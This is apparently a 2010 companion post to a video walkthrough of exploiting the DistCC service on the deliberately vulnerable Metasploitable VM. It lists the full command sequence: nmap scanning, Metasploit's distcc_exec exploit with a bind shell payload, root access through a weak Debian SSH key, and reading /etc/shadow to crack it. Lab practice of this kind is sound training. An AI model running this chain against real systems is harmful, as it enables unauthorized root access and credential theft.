[Video] Metasploitable - DistCC

[g0tmi1k]

Links
Watch video on-line: http://g0tmi1k.blip.tv/file/3826063
Download video: http://www.mediafire.com/?mpxdj30sx66t4lv
Download (debian_ssh_rsa_2048_x86.tar.bz2): http://www.mediafire.com/?i2mnwymzt51


What is this?
This video demonstrates an attack on the DistCC service on the metasploitable hackable box.

"Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql." - blog.metasploit.com

"distcc is a program to distribute builds of C, C++, Objective C or Objective C++ code across several machines on a network. distcc should always generate the same results as a local build, is simple to install and use, and is usually much faster than a local compile"- distcc.samba.org


Guide
> Use Nmap to scan the network (gathering information)
> Use Nmap to do a more detailed scan of the target (gathering information)
> Use Metasploit to send a payload (remote access)
> *I cheated a little bit here as I had used nessus in a previous scan to discover "Debian OpenSSH/OpenSSL Package Random Number Generator Weakness"*
> Via the payload it is possible to capture the SSH Key and compare it against the weak keys *Just like pWnOS* (escalating privileges)
> Connect via SSH as root (complete access)
> Prove complete access by cracking the shadow file with John The Ripper (then prove it by connecting via SSH using one of the newly acquired accounts)




What do I need?
> Nmap --- on Backtrack 4 (Final)
> Metasploit --- on Backtrack 4 (Final)
> SSH --- on Backtrack 4 (Final)
> Weak SSH Keys (debian_ssh_rsa_2048_x86.tar.bz2) ---http://www.mediafire.com/?i2mnwymzt51
> Metasploitable.vmdk (SHA-1: 7DF98130DAC3167690209716EBF86047C6B9672F)

> Metasploitable.part01.rar ~ http://www.mediafire.com/?dy2jl2wmw5h (SHA-1: 76388A5648ADAAAE9E5841AB5B0F660777A28E36)
> Metasploitable.part02.rar ~ http://www.mediafire.com/?3zrz2wjmjmz (SHA-1: 48B9807812CE7561C5F86667630B9E40D3DD85FA)
> Metasploitable.part03.rar ~ http://www.mediafire.com/?nmjmyimmqwm (SHA-1: EAAA89F4A24F3B37C27ACECD8580CE95EC39BA34)
> Metasploitable.part04.rar ~ http://www.mediafire.com/?gdjyzfjyjzm (SHA-1: FB1CDD02115F43AC53FDDA9499F1ED8ED2BF5EE2)

Commands:

nmap 192.168.1.1/24
nmap -sS -sV -p1-65535 -O -f -n -v 192.168.1.105
msfconsole
search distcc 
use exploit/unix/misc/distcc_exec
show options
setg RHOST 192.168.1.105
show payloads
setg payload generic/cmd/unix/bind_perl 
show options
exploit
ls
whoami
ls -lart/root 
ls -lart/root/ .ssh
cat /root/.ssh/authorized_keys
 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
Firefox www.exploit-db.com -> Debian OpenSSL Predictable (5720) -> http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
tar jxvf debian_ssh_rsa_2048_x86.tar.bz2
cd rsa/2048/
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub
ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.105
whoami
hostname
ifconfig
cat /etc/shadow

Notes:
Song: Josh Abrahams - Joker
Video length: 4:51
Capture length: 6:28


Blog Post: http://g0tmi1k.blogspot.com/2010/07/video-metasploitable-distcc.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/30079-%5Bvideo%5D-metasploitable-distcc.html#post167045